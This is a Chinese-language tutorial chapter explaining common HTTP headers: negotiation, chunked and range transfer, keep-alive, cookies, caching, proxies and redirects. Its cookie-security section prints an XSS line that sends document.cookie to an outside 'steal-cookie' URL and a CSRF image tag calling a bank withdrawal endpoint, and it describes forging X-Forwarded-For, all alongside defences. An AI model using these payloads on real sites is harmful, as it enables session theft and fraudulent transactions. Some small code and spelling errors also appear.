0%

HTTP常用请求头大揭秘

本文为《三万长文50+趣图带你领悟web编程的内功心法》第四个章节。

4、HTTP常用请求头大揭秘

上面列出了报文的各种请求头、响应头、状态码,是不是感到特别晕呢。这节我们就专门挑一些最常用的请求头,举例说明请求头对应支撑的HTTP功能。

4.1、数据类型、压缩编码,语言,内容协商和质量值

我们来看一个最基本的HTTP交互。

image-20200827004449052

其中,GET表示方法,就不多说了。

HostHost 请求头指明了请求将要发送到的服务器主机名和端口号。Host让虚拟主机托管成为了可能,也就是一个IP上提供多个Web服务。

协商

客户端先发送Accept、Accept-Encoding、Accept-Language请求头进行协商。其中:

  • Accept指明了客户端可理解的MIME type,用“,”做分隔符,列出多个类型;
  • Appcep-Encoding指明客户端可理解的压缩格式;
  • Accept-Languate指明客户端可理解的自然语言;

可以给每个协商项指定质量值q。质量值从0~1,1最高,表示最期望服务器采用该类型,0表示拒绝接受该类型。

协商结果

服务端会在响应头里面告知协商的结果:

  • Content-Type表示服务端实际采用的类型;
  • Content-Encoding表示服务端实际采用的压缩格式,如果相应报文没有该请求头,则代表服务端没有开启压缩;
  • Content-Language表示服务端实际采用的自然语言;

服务端是怎么协商的

服务端在客户端请求中,用了哪些请求头部信息进行协商的呢,这里需要用到Vary首部:

1
2
Vary: *
Vary: <header-name>, <header-name>, ...

例如:

1
Vary: User-Agent

表示服务器依据 User-Agent 字段,决定发回了响应报文。此场景常见于:对于不同的终端,返回的内容是不同的,那么就需要用 User-Agnet进行区分以及缓存了。

更多协商信息:《HTTP权威指南》第17章 内容协商与转码[1]

字符集

另外,客户端和服务端也可以协商字符集:

  • 请求头:Accept-Charset;
  • 响应头:没有单独的响应头,而是附加在Content-Type中:
    • Content-Type: text/html; charset=utf-8

协商请求响应头对应关系如下图:

image-20200829132909345

4.2、分块传输编码、范围请求和多段数据

分块传输响应头:Transfer-Encoding: chunked。

4.2.1、分块传输编码 Transfer-Encoding: chunked

一般情况下,我们请求后端,都可以拿到静态资源的完整Content-Length大小,一次性传输到客户端。

对于动态页面,也可以在后端一次性生成所有需要返回的内容,得到Content-Length大小,一次性传输到客户端。

但是想象以下场景:Content-Encoding为gzip,服务端进行压缩的时候,需要一块很大的字节数组进行压缩,最终得到整个数组的Content-Length。

举个例子:如下图:

image-20200829184027820

客户端需要向服务器请求获取一串葡萄,最期望拿到一串新疆葡萄,可以使用gzip编码。

最终客户端通过gzip,把葡萄压缩成了葡萄干,一次性传输给了客户端。客户端拿到了所有的葡萄干,解压回葡萄。

至于葡萄干注水还原回葡萄的技术有待大家研究实现,研究出来了可以分享给我,谢谢!

可以发现:服务端在压缩的过程中很占缓存,只能等压缩完成之后一次性传输,传输的内容庞大,瞬间占用网络,如果带宽不够,就会导致消息延迟

那么,这个时候,我们就可以使用分块传输来优化这个流程了:

我们可以将葡萄一颗一颗的压缩传输给客户端一颗,这样传输的时候就不用占用太多内存,传输也不会瞬时占用太多带宽了

image-20200829152932666

分块传输编码格式

下面我们通过一个具体的请求来说明分块传输编码的响应格式。

这里我们用OpenResty服务器,假设请求的服务端代码是这样的lua脚本:

1
2
3
4
5
6
ngx.header['Content-Type'] = 'text/plain;charset=utf-8'
ngx.header['Transfer-Encoding'] = 'chunked'
for i=1,10 do
ngx.print('第' + i + '颗葡萄\n')
ngx.flush(true)
end

我们抓包来看看完整的TCP请求,图片比较大,感兴趣的同学放大查看:

image-20200829192553150

分析下TCP包:

  • 21~23:是TCP连接三次握手的过程;
  • 24:服务端通知客户端窗口大小变更;
  • 25:也就是第一个高亮的行,发起HTTP请求,尝试获取一串葡萄;
  • 27~41:服务端分块多次推送了一颗颗的葡萄给到客户端;
  • 43:最终在HTTP应用层,拿到了完整的一串葡萄,10个Data chunk对应10颗葡萄:

image-20200829193042806

页面展示如下:

1
2
3
4
5
6
7
8
9
10
grape 1
grape 2
grape 3
grape 4
grape 5
grape 6
grape 7
grape 8
grape 9
grape 10

根据以上抓包的报文格式,可以得到最终的HTTP响应报文格式如下:

image-20200830103013869

注意:

分块传输和编码只在HTTP/1.1版本中提供。

HTTP/2不支持分块传输,因为其本身提供的更加高级的流传输实现了类似的功能。

4.2.2、范围请求

范围请求响应头:Accept-Ranges: bytes,有这个响应头的,就表示当前响应的资源支持范围请求。

假设一个文件很大,我们想要获取其中的一部分,这个时候就可以使用范围请求了。范围请求常用语实现以下功能更:

  • 看视频,拖到某一个时间点进行加载;
  • 下载工具中的多线程分段下载;
  • 下载工具中高端断点续传,如果网络不好,断开连接了,等到重新连接之后,可以继续获取剩余部分内容。

范围请求头

确定了服务端支持范围请求之后,客户端在请求中使用Range请求头,指定要接收的范围即可,如:

1
2
3
4
5
6
7
-- 格式:bytes=x-y,x y表示偏移量,从0开始
-- 请求获取前面11个字节
Range: bytes=0-10
-- 请求所有内容
Range: bytes=10-
-- 获取文档最后10个字节
Range: bytes=-10

服务端响应

  • 请求范围不合法,返回状态码416: Range Not Satisfiable;
  • 请求合法,返回状态码206: Partial Content;
    • 响应头添加:Content-Range: bytes x-y/length,表示本次实际响应的范围

image-20200830103544716

举个例子,我们请求IT宅首页,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 执行以下请求:
curl -i -H 'Range: bytes=0-15' https://www.itzhai.com
# 结果如下:
HTTP/1.1 206 Partial Content
Server: nginx/1.16.1
Date: Sun, 30 Aug 2020 02:22:59 GMT
Content-Type: text/html
Content-Length: 16
Last-Modified: Fri, 01 May 2020 03:45:21 GMT
Connection: keep-alive
ETag: "5eab9b51-134ee"
Content-Range: bytes 0-15/79086

<!DOCTYPE html>

多段数据

范围请求支持同时请求多段数据,下面是一个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# 执行以下请求:
curl -i -H 'Range: bytes=0-15, 16-26' https://www.itzhai.com
# 结果如下:
HTTP/1.1 206 Partial Content
Server: nginx/1.16.1
Date: Sun, 30 Aug 2020 02:27:07 GMT
Content-Type: multipart/byteranges; boundary=00000000000000000023
Content-Length: 228
Last-Modified: Fri, 01 May 2020 03:45:21 GMT
Connection: keep-alive
ETag: "5eab9b51-134ee"


--00000000000000000023
Content-Type: text/html
Content-Range: bytes 0-15/79086

<!DOCTYPE html>

--00000000000000000023
Content-Type: text/html
Content-Range: bytes 16-26/79086

<html class
--00000000000000000023--

响应格式如下:

image-20200830104915240

4.3、HTTP/1.1连接管理

说到HTTP的连接,就不得不先说说TCP的连接管理了,我们来回顾下TCP的建立连接,传输数据,关闭连接的过程[2]

image-20200830111800259

这里详细流程就不说了,详细参考我的上一篇关于网络内功心法的文章[2:1]

可以发现为了传输数据,三次握手和四次挥手,分别消耗了1.5个RTT和2个RTT(Round-trip time RTT),假设建立起这个TCP连接就为了来回传输一次数据,可以发现其利用率很低:

1 / (1 + 1.5 + 2) = 22%

4.3.1、短连接的弊端

如下图:

image-20200911090148998

每次传输数据,都需要建立新的链接,这种连接我们称为短连接。

由上面分析可知,短连接极大的降低了传输效率,每次有什么数据需要传输,都要重新进行三次握手和四次挥手。

早期的HTTP是短连接的,或称为无连接。

4.3.2、为什么要有长连接

为了解决效率问题,于是出现了长连接。由上面分析可知,短连接传输效率低,所以,自从HTTP/1.1开始,默认就支持了长连接,也称为持久连接。

所谓长连接,就是在跟服务端约定,本次创建的连接,后边还会继续用到。于是,这样约定之后,TCP层通过TCP的keep-alive机制维持TCP连接。

TCP如何维持连接呢,这里介绍系统内核的三个相关配置参数:

  • net.ipv4.tcp_keepalive_intvl = 15;

  • net. ipv4.tcp_keepalive_probes = 5;

  • net.ipv4.tcp_keepalive_time = 1800;

当TCP连接闲置了tcp_keepalive_time秒之后,服务端就尝试向客户端发送侦测包,来判断TCP连接状态,如果侦测后没有收到ack反馈,那么在tcp_keepalive_intvl秒后再次尝试发送侦测包,知道接收到ack反馈。一共会尝试tcp_keepalive_probes次侦测请求。如果尝试tcp_keepalive_probes次之后,依然没有收到ack包,那么就会丢弃这个TCP连接了。

使用长连接的HTTP协议,会在响应头加入这个:

1
Connection: keep-alive

如下图:

image-20200911090522258

客户端和服务器一旦建立连接之后,可以一直复用这个连接进行传输。

4.3.3、长连接问题

4.3.3.1、如何避免长连接资源浪费

如果建立长连接之后,一直不用,对于服务器来说是多么浪费资源呀。为此需要有关闭长连接的机制。

场景的控制手段:

  • 系统内核参数设置:如上一节提到的几个参数;
  • 客户端请求头声明
    • 请求头声明Connection: close,本次通信技术之后就关闭连接。
  • 服务端配置:如Nginx,设置
    • keepalive_timeout:设置长连接超时时间;
    • keepalive_requests:设置长连接请求次数上限。

4.3.3.2、长连接的缺点

我们可以建立起TCP长连接,但是HTTP/1.1是请求应答模型的,只要一个请求还没有收到应答,当前TCP连接就不可以发起下一个请求,也就是HTTP请求队头阻塞:

image-20200830161700059

当前客户端与服务端值创建了一个已连接套接字,即一个TCP连接,客户端所有请求都通过这个TCP连接发送,由于request 1请求还没有接收到应答,其他的request就不能发起请求了。

为了减小请求阻塞等待的影响,于是人们考虑在同一个浏览器里面开启多个TCP连接,这样,即使一个TCP被阻塞了,还有另外的可以继续发起请求。

image-20200830171046698

不过客户端开太多TCP连接,会导致服务器承受更大的压力。在RFC2616中限制客户端最多并发两个,但是目前大部分浏览器支持6个或者更多的并发连接数。

为了进一步优化前端加载请求,这个时期出现了很多各式的前端优化小技巧,如:

  • 为了增加并发请求,做域名拆分,这样就突破了浏览器对并发请求数的限制了;
  • CSS、JS等资源内联到HTML中,或者进行资源合并,从而减少客户端的并发请求数;
  • 生成精灵图,一次性传输所有小图标,从而减少客户端的并发请求数;
  • 资源预取...

不过,HTTP/2解决了HTTP请求的队头阻塞,有些原有的优化在HTTP/2中则成为了反模式,如:域名拆分后需要建立多个域名的连接,精灵图或者合并CSS、JS等导致不能更灵活的控制缓存...

4.3.4、管道化长连接

管道传输技术是在HTTP/1.1中引入的,在HTTP/1.0中不存在。

HTTP管道传输技术可以在单个TCP连接上连续发送多个HTTP请求,而无需等待响应,截止2018年,由于一些问题(如错误的代理服务器和TCP队头阻塞),现代浏览器默认未启用管道。

引入了管道技术之后的长连接如下图:

image-20200912220728678

多个HTTP请求可以连续发送出去,而不用等待已发送请求的响应,请求和响应都是通过FIFO队列进行的。

不过由于TCP是严格按照顺序进行传输数据的,前面的TCP数据丢失,就会导致阻塞后续的分组数据,这也就是TCP的队头阻塞。

管道化长连接有何问题?

根据上面的分析可知,HTTP管道有如下问题:

  • 慢响应会导致TCP队头阻塞(HOL blocking),影响后续请求;
  • 如果前面的某个响应失败了,会导致TCP连接终止,那么未响应的请求都得重新进行发送了;
  • 如果请求链中有很多中间代理,代理对管道的兼容性则成为了问题,很有可能导致管道机制失效,因为大多数HTTP代理不通过管道进行传输;
  • 由于FIFO机制,导致有些请求被接收之后,还保持了不必要的很长的时间;
  • ...

基于以上众多问题,在所有主要浏览器中,只有Opera浏览器才在默认情况下启用管道机制,其他浏览器基本默认不启用管道机制。

4.3.5、长连接如何改善

我们知道,长连接有如下缺点:

  • 由于保持连接,影响服务器性能;
  • 可能发生队头阻塞,造成信息延迟。

HTTP的多路复用技术支持多个请求同时发送,类似于多线程的并发机制,更充分的利用到了建立好的一个长连接。

HTTP2相关特性我们后面再详细介绍。

4.4、HTTP/1.1的Cookie机制

由于HTTP是无状态的,于是出现Cookie和Session,为HTTP弥补了状态存储的问题。

HTTP Cookie是服务器发送到用户浏览器并保存在本地的一小块数据,它会在浏览器下次向同一服务器再发起请求时被携带并发送到服务器上。

就像我们去公司报道,公司给你办理了一张工卡,门口的保安大哥可不会记住哪些人是公司的,于是只能叫你出示工卡。如果把公司比作服务器的话,这张工卡就相当于Cookie,我们每次出示工卡给保安大哥,于是就验证通过了。

image-20200831223418570

Cookie工作机制:浏览器请求服务器之后,服务器响应头可以添加Set-Cookie字段,浏览器拿到Cookie之后,按域名区分存储起来,下次请求同一个域名的服务器,通过Cookie请求头传给服务端,服务端则可以根据Cookie信息判断到时之前请求的一个客户端。

Cookie关键属性

属性名 作用
Expires 过期时间,一个绝对的时间点
Max-Age 设置单位为秒的cookie生存期,浏览器优先使用Max-Age
Domain 指定Cookie所属的域名
Path 指定Cookie所属的路径前缀,浏览器在发起请求前,判断浏览器Cookie中的Domain和Path是否和请求URI匹配,只有匹配才会附加Cookie
HttpOnly 指明该Cookie只能通过浏览器的HTTP协议传输,浏览器JS引擎将禁用document.cookie等api,从而避免被不坏好意的人拿到cookie信息。此预防措施有助于缓解跨站点脚本(XSS)攻击。
Secure 指明只能通过被 HTTPS 协议加密过的请求发送给服务端,但即便设置了 Secure 标记,敏感信息也不应该通过 Cookie 传输,因为 Cookie 有其固有的不安全性,Secure 标记也无法提供确实的安全保障, 例如,可以访问客户端硬盘的人可以读取它
SameSite SameSite=None: 浏览器会在同站请求、跨站请求下继续发送 cookies,不区分大小写
SameSite=Strict:限定Cookie不能随着跳转连接跨站发送,只在访问相同站点时发送 cookie
SameSite=Lax:允许GET/HEAD等安全方法,禁止POST跨站点发送,在新版本浏览器中,为默认选项,Same-site cookies 将会为一些跨站子请求保留,如图片加载或者 frames 的调用,但只有当用户从外部站点导航到URL时才会发送

4.4.1、Cookie常见安全问题

XSS攻击

通过脚本注入,窃取Cookie,如:

1
(new Image()).src = "http://www.itzhai.com/steal-cookie?cookie=" + document.cookie;

上面表格中提到的HttpOnly正是为了阻止JavaScript 对其的访问性而能在一定程度上缓解此类攻击。

CSRF跨站请求伪造

在不安全的聊天室或者论坛等,看到一张图片,实际上他可能是请求了你的某个银行的转账接口,让你的钱转到别人的账上,如果打开了这个图片,并且之前已经登陆过银行账号,并且Cookie仍然有效,那么钱就有可能被转走了。

1
<img src="http://bank.test.com/withdraw?account=youraccount&amount=10000&for=arthinking">

为此,常见对因对措施有:

  • 对用户输入进行XSS过滤;
  • 敏感的业务操作都需要添加各种形式的校验:如密码、短信验证码等;
  • 敏感信息Cookie设置有效期尽可能短...

4.5、HTTP缓存机制

4.5.1、缓存请求指令

客户端可以用Cache-Control请求首部来强化或者放松对过期时间的限制。

指令 说明
Cache-Control: max-age=<seconds> 拒绝接受缓存时间长于seconds秒的资源,如果seconds为0,则表示请求获取最新的资源;
Cache-control: no-cache 除非资源进行了再验证,否则这个客户端不会接受已缓存的资源;
Cache-control: no-store 缓存不应存储有关客户端请求或服务器响应的任何内容,即不使用任何缓存;
Cache-control: only-if-cached 表明客户端只接受已缓存的响应,并且不要向原始服务器检查是否有新的拷贝;
Cache-control: no-transform 不得对资源进行转换或转变。Content-EncodingContent-RangeContent-Type等HTTP头不能由代理修改
Cache-Control: max-stale[=<seconds>] 表明客户端愿意接收一个已经过期的资源。可以设置一个可选的秒数,表示响应不能已经过时超过该给定的时间
Cache-Control: min-fresh=<seconds> 表示客户端希望获取一个能在指定的秒数内保持其最新状态的响应

4.5.2、缓存响应指令

指令 说明
Cache-Control: max-age=<seconds> 设置缓存存储的最大周期,超过这个时间缓存被认为过期(单位秒)
Cache-control: no-store 缓存不应存储有关客户端请求或服务器响应的任何内容,即不使用任何缓存
Cache-control: no-cache 在发布缓存副本之前,强制要求缓存把请求提交给原始服务器进行验证(协商缓存验证)
Cache-Control: must-revalidate 一旦资源过期(比如已经超过max-age),在成功向原始服务器验证之前,缓存不能用该资源响应后续请求
Cache-control: no-transform 一旦资源过期(比如已经超过max-age),在成功向原始服务器验证之前,缓存不能用该资源响应后续请求
Cache-control: public 表明响应可以被任何对象(包括:发送请求的客户端,代理服务器,等等)缓存,即使是通常不可缓存的内容。(例如:1.该响应没有max-age指令或Expires消息头;2. 该响应对应的请求方法是 POST 。)
Cache-control: private 表明响应只能被单个用户缓存,不能作为共享缓存(即代理服务器不能缓存它)。私有缓存可以缓存响应内容,比如:对应用户的本地浏览器
Cache-control: proxy-revalidate 与must-revalidate作用相同,但它仅适用于共享缓存(例如代理),并被私有缓存忽略
Cache-control: s-maxage=<seconds> 覆盖max-age或者Expires头,但是仅适用于共享缓存(比如各个代理),私有缓存会忽略它

4.5.3、服务器再验证

指令 说明
If-Modified-Since: Date 第一次响应报文提供Last-modified,第二次请求带上这个值,给服务端验证缓存是否有修改,无修改则返回:304 Not Modified
If-None-Match: ETag 第一次响应报文提供ETag,第二次请求带上这个值,给服务端验证缓存是否最新,无修改则返回:304 Not Modified,

Last-modified和ETag有什么区别?

有任何改动,ETag都会变动,但是同一秒内的改动,Last-modified是一样的。

4.6、HTTP代理

想象一下我们传统的三层架构,如果我们想统一把批量修改数据的SQL屏蔽掉,那么直接修改DAO层,统一拦截处理就可以了。类似的,网络系统也是如此,在传统的客户端和服务端之间,可能会存在各种各样的代理服务器,用于实现各种功能。

常见的代理有两种:普通代理-中间人代理,隧道代理。

4.6.1、普通代理[3]

话不多说,我们直接上图,说明一下代理的工作原理:

image-20200905111639864

代理既是服务器,又是客户端

代理工作原理:客户端向代理发送请求,代理接收请求并与客户端建立连接,然后转发请求给服务器,服务器接收请求并与代理建立连接,最终把响应按原路返回。

当然,实际的场景中,客户端与服务器可能包含多个代理服务器。

代理最常见到的请求头

RFC 7230中定义了Via,用于追踪请求和响应消息转发情况;RFC 7239中定义了X-Forwarded-For用于记录客户端请求的来源IP;X-Real-IP可以用于记录客户端实际请求IP,该请求头不属于任何标准。

  • Via**Via** 是一个通用首部,是由代理服务器添加的,适用于正向和反向代理,在请求和响应首部中均可出现。这个消息首部可以用来追踪消息转发情况,防止循环请求,以及识别在请求或响应传递链中消息发送者对于协议的支持能力;

  • X-Forwarded-For:每经过一级代理(匿名代理除外),代理服务器都会把这次请求的来源IP追加在X-Forwarded-For中:

    • 1
      X-Forwarded-For: client, proxy1, proxy2
    • 注意:与服务器直连的代理的IP不会被追加到X-Forwarded-For中,该代理可以通过TCP连接的Remote Address字段获取到与服务器直连的代理IP地址;

  • X-Real-IP:记录与当前代理服务器建立TCP连接的客户端的IP,一般通过$remote_addr获取,这个IP是上一级代理的IP,如果没有代理,则是客户端的IP;

一般我们在Nginx中会做如下配置:

1
2
3
4
5
location / {
proxy_set_header X-Real-IP $remote_addr; // 与服务器建立TCP连接的客户端的IP作为X-Real-IP
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; // 追加请求的来源IP
...
}

假设我们所有的代理都按照如上设置,那么请求头变化情况则如下:

image-20200903230310130

客户端IP伪造

注意,X-Forwarded-For是可以伪造的,一些通过X-Forwarded-For获取到的客户端IP来限制刷投票的系统就可以通过伪造该请求头来打到刷票的效果,如果客户端请求显示指定了X-Forwarded-For

X-Forwarded-For: 192.168.1.2

那么,服务器接收到的该请求头,第一个IP就是这个伪造的IP了。

如何防范IP伪造?

方法一:在对外Nginx服务器上配置:

1
proxy_set_header X-Forwarded-For $remote_addr;

这样,第一个IP就是从TCP连接的客户端IP地址了,不会读取客户端伪造的X-Forwarded-For。

方法二:从右到左遍历X-Forwarded-For的IP,剔除已知代理服务器IP和内网IP,获取到第一个符合条件的IP。

正向代理和反向代理

工作在客户端的代理我们称为正向代理。使用正向代理的时候,需要在客户端配置使用的代理服务器,正向代理对服务端透明。我们常用的Fiddler、charles抓包工具,以及访问一些外网网站的代理工具就属于正向代理。

如下图:

image-20200905141442426

正向代理通常用于:

  • 缓存;
  • 屏蔽某些不健康的网站;
  • 通过代理访问原本无法访问的网站;
  • 上网认证,对用于进行访问授权...

工作在服务端的代理我们称为反向代理。使用反向代理的时候,无需在客户端进行设置,反向代理对客户端透明。反向代理(Reverse Proxy)这个名词有点让人摸不着头脑,不过就这么叫吧,我们常用的nginx就是属于反向代理。

如下图:

image-20200905134738530

通用把80作为http的端口,把433端口作为https的端口。

反向代理通常用于:

  • 负载均衡;
  • 服务端缓存;
  • 流量隔离;
  • 日志;
  • 金丝雀发布...

代理中的持久连接

Connection请求头

我们得先介绍下Connection请求头字段。

在各个代理和服务器、客户端节点之间的是一段一段的TCP连接,客户端通过中间代理,访问目标服务器的过程也叫逐段传输,用于逐段传输的请求头被称为逐段传输头。

逐段传输头会在每一段传输的中间代理中处理掉,不会往下传输给下一个代理。

标准的逐段传输头有:Keep-Alive, Transfer-Encoding, TE, Connection, Trailer, Upgrade, Proxy-AuthorizationProxy-Authenticate

Connection 头(header) 决定当前的事务完成后,是否会关闭网络连接。如果该值是“keep-alive”,网络连接就是持久的,不会关闭,使得对同一个服务器的请求可以继续在该连接上完成。

除此之外,除了标准的逐段传输头,任何逐段传输头都需要在Connection头中列出,这样才能够让请求的代理知道并处理掉它们并且不转发这些头,当然,标准的逐段传输头也可以列出。

有了这个Connection头,代理就知道要处理掉哪些请求头了, 比如代理会处理掉Keep-Alive,根据自己的实际情况看看是否支持Keep-Alive,如果不支持,就不会继续往下传了。

Nginx keep-alive

比如,Nginx作为反向代理,可以为其设置keep-alive机制,nginx开启了keep-alive的时候,连接是这样的 :

image-20200905124221566

Nginx中关于keep-alive[4]的设置:

  • keepalive: 设置连接池最大的空闲连接数量;
  • keepalive_timeout: 设置客户端连接超时时间,为0的时候表示禁用长连接;
  • keepalive_requests: 设置一个长连接上可以服务的最大请求数量。
古老的代理如何处理持久连接

网络是复杂的,特别是加入了很多代理之后,假如客户端想要发起持久连接,而中间某些古老的代理服务器,可能不认识Connection头,也不支持持久连接,会出现什么情况呢?

image-20200905110741560

如上图,中间的两台代理不认识Connection: keep-alive,于是直接转发了,最终服务器收到这个头,以为proxy2要和他建立持久连接,于是响应了Connection: keep-alive,代理服务器转发回给客户端,客户端以为建立成功了长连接,于是继续使用这个连接发送消息,可是中间的代理在处理完请求响应之后,早就已经把TCP连接给关闭了,从而最终导致浏览器请求连接超时。

为了避免这类问题,有时候服务器会选择直接忽略HTTP/1.0的Keep-Alive特性,也就是不使用持久连接,也不会返回Keep-Alive给客户端。

4.6.2、隧道代理[5]

HTTP客户端可以通过CONNECT方法请求隧道代理创建一个到人任意目标服务器和端口号的TCP连接,连接创建完成之后,后续隧道代理只做请求和响应数据的转发,就像一条隧道一样,这也是隧道代理名字的由来。

为什么需要隧道代理?

想象以下,我们要请求的HTTPS服务中间经过了代理,我们是不是 要先让客户端跟代理服务器建立HTTPS连接呢?显然这样是无法实现的,因为中间代理没有网站的私钥证书,所以最终导致浏览器和代理之间的TLS无法创建。

为了解决这个问题,于是引入了隧道代理,隧道代理不在作为中间人,也不会改写浏览器的任何请求,而是把浏览器的通信数据原样透传,这样就实现了让客户端通过中间代理,和服务器进行TLS握手,然后进行加密传输。

其工作流程大致如下:

image-20200913184816808

4.7、HTTP重定向

这里我们重点关注两个:

  • 301 永久重定向
  • 302 临时重定向

在收到重定向的状态码之后,客户端会检测响应头里面的Location字段,从里面取出URI,从而自动发起新的HTTP请求。

最常见的使用重定向的例子:

  • 由于网页迁移,为了不影响SEO,把旧的网址的URL 301重定向到新版的网址;
  • 由于服务临时升级,把原来服务请求302重定向到一个升级提示页面,但这样会导致服务端多了一倍的请求量,有时候我们是直接在服务端反悔了升级提示的页面。

References

  • 谢希仁. 计算机网络(第6版). 电子工业出版社.
  • TCP/IP详解 卷1:协议(原书第2版). 机械工业出版社.
  • UNIX网络编程 卷1:套接字联网API. 人民邮电出版社
  • HTTP权威指南. 人民邮电出版社
  • HTTP/2基础教程. 人民邮电出版社
  • 刘超. 趣谈网络协议. 极客时间
  • 罗剑锋. 透视HTTP协议. 即可时间

  1. 《HTTP权威指南》第17章 内容协商与转码. 人民邮电出版社. P413 ↩︎

  2. 两万字长文50+张趣图带你领悟网络编程的内功心法-TCP连接管理. Retrieved from https://www.itzhai.com/network/comprehend-the-underlying-principles-of-network-programming.html#4-2-3、连接管理 ↩︎ ↩︎

  3. 《HTTP权威指南》 第六章 代理 ↩︎

  4. Module ngx_http_upstream_module. Retrieved from http://nginx.org/en/docs/http/ngx_http_upstream_module.html#keepalive ↩︎

  5. 《HTTP权威指南》 第八章 集成点:网关、隧道及中继 ↩︎

欢迎关注我的其它发布渠道